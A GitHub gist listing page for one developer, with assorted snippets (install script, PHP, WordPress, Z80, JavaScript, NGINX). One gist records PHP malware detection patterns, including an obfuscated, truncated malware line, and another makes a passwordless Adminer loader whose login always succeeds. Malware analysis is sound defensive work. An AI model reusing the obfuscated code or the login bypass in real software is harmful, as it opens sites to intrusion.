Skip to content

Instantly share code, notes, and snippets.

View cavearr's full-sized avatar

Carlos Venegas Arrabé cavearr

View GitHub Profile
@cavearr
cavearr / icestudio-install-with-report.sh
Last active January 16, 2019 08:42
Install icestudio and generate an install report (to help in finding install problems)
#/bin/bash
REPORTF="install-report.txt"
git clone https://github.com/FPGAwars/icestudio.git
cd icestudio
npm install extract-zip --save
echo > $REPORTF
@cavearr
cavearr / composer-autoload.txt
Created January 16, 2019 11:55
[COMPOSER] autoload your own classes
1) Create your directory structure for your code (case sensitive)
2) Add autoload object to composer.json:
"autoload": {
"psr-4": {
"Your-Namespace\\" : "your-dir/"
}
}
@cavearr
cavearr / index.php
Created March 21, 2019 23:26 — forked from linktohack/index.php
Adminer 4.2.5 loader without password for SQLite
<?php
function adminer_object() {
class AdminerSoftware extends Adminer {
function login($login, $password) {
return true;
}
}
return new AdminerSoftware;
}
include "./adminer-4.2.5.php";
@cavearr
cavearr / autoptimize_defer_inline_jquery.php
Created March 29, 2019 10:02 — forked from futtta/autoptimize_defer_inline_jquery.php
POC to defer inline JS that requires jQuery
<?php
add_action('plugins_loaded','ao_defer_inline_init');
function ao_defer_inline_init() {
if ( get_option('autoptimize_js_include_inline') != 'on' ) {
add_filter('autoptimize_html_after_minify','ao_defer_inline_jquery',10,1);
}
}
function ao_defer_inline_jquery( $in ) {
@cavearr
cavearr / installed-plugin-details.php
Created April 29, 2019 17:11 — forked from bradyvercher/installed-plugin-details.php
WordPress Plugin: Show a "Details" link for installed plugins to view information from the WordPress.org plugin directory.
<?php
/**
* Plugin Name: Installed Plugin Details
* Description: Show a "Details" link for installed plugins to view information from the WordPress.org plugin directory.
* Version: 1.0.0
* Author: Blazer Six
* Author URI: http://www.blazersix.com/
* License: GPL-2.0+
* License URI: http://www.gnu.org/licenses/gpl-2.0.html
*
@cavearr
cavearr / z80-fpga_led_parpadeo.s
Created August 20, 2019 14:28
Z80-FPGA // Led parpadeante , código para el reto lanzado por @Obijuan_cube
;-- RETO @Obijuan_cube
;--
;-- Led parpadeante Z80 #FPGAWars
;--
;-- https://groups.google.com/forum/?utm_medium=email&utm_source=footer#!msg/fpga-wars-explorando-el-lado-libre/U5c7-6gQAqQ/MoaPrAwcAgAJ
;--
; El programa arranca en la dirección 0 de la ROM
org 0x0000
@cavearr
cavearr / patterns.txt
Last active December 5, 2019 02:15
MALWARE PATTERNS
php files:
@include "\057hom\145
En una línea:
$wfvxps = 'akyipHbgc2x3m0lf1-9t*\'r_es7#d4n5o8uv';$dzijbx = Array();$dzijbx[] = $wfvxps[5].$wfvxps[20];$dzijbx[] = $wfvxps[8].$wfvxps[22].$wfvxps[24].$wfvxps[0].$wfvxps[19].$wfvxps[24].$wfvxps[23].$wfvxps[15].$wfvxps[34].$wfvxps[30].$wfvxps[8].$wfvxps[19].$wfvxps[3].$wfvxps[32].$wfvxps[30];$dzijbx[] = $wfvxps[31].$wfvxps[6].$wfvxps[26].$wfvxps[18].$wfvxps[11].$wfvxps[15].$wfvxps[33].$wfvxps[13].$wfvxps[17].$wfvxps[31].$wfvxps[8].$wfvxps[0].$wfvxps[16].$wfvxps[17].$wfvxps[29].$wfvxps[24].$wfvxps[11].$wfvxps[15].$wfvxps[17].$wfvxps[6].$wfvxps[11].$wfvxps[18].$wfvxps[9].$wfvxps[17].$wfvxps[15].$wfvxps[11].$wfvxps[8].$wfvxps[28].$wfvxps[18].$wfvxps[11].$wfvxps[16].$wfvxps[29].$wfvxps[18].$wfvxps[8].$wfvxps[18].$wfvxps[9];$dzijbx[] = $wfvxps[27];$dzijbx[] = $wfvxps[8].$wfvxps[32].$wfvxps[34].$wfvxps[30].$wfvxps[19];$dzijbx[] = $wfvxps[25].$wfvxps[19].$wfvxps[22].$wfvxps[23].$wfvxps[22].$wfvxps[24].$wfvxps[4].$wfvxps[24].$wfvxps[0].$wfvxps[19];$dzijbx[] = $wfvxps[24]
@cavearr
cavearr / pong.js
Created March 20, 2020 07:51
Pong version with animation frame
//-- Creamos un wrapper para soportar requestAnimationFrame en los distintos navegadores y si
//-- fuera un navegador antiguo, sin soporte de éste, utilizaremos setTimeout
//--
//-- Las ventajas más importantes de utilizar requestAnimationFrame frente a setTimeout son:
//--
//-- - El navegador está optimizado para ello y utilzará recursos hardware gráficos, por lo
//-- que las animaciones serán más suaves
//-- - Si cambiamos de pestaña o el navegador pas a segundo plano, la animación se para por lo
//-- que la CPU quedará libre
//-- - Por lo anterior en dispositivos móviles, gastará menos batería
@cavearr
cavearr / jsmainloop.js
Created March 20, 2020 09:27
Javascript main loop y setTimeout
//-- A día de hoy, los motores javascript de los navegadores, sólo tienen un thread, lo que significa que no pueden
//-- ejecutar funciones en paralelo.
//-- Cuando utilizamos setTimeout, conceptualmente pensamos que habrá algún tipo de interrupción que temporizará
//-- el ciclo del programa para ejecutar esa taréa cuando toque.
//-- Pero esto no es así, el "main loop" de javascript, encolará las funciones y las ejecutará una detrás de otra,
//-- priorizando el "orden de las temporizaciones" pero sin respetarlas.
//--
//-- Como ejemplo mostramos el siguiente caso, se lanza una función temporizada para ejecutarse a los 100ms, pero como
//-- la siguiente función a ejecutarse , le toma 400ms, la primera no se ejecutará hasta que termine esta última.
@cavearr
cavearr / cachebust.conf
Created April 28, 2021 13:53 — forked from johndwells/cachebust.conf
NGINX - Cachebust static JS and CSS assets that contain a version segment
# Cachebust static JS and CSS assets that contain a version segment, e.g.
# /css/app.purged.min.v0.1.45.css ==> /css/app.purged.min.css
location ~* (.+)\.v(?:[\d\.]+)\.(js|css)$ {
try_files $uri $1.$2;
}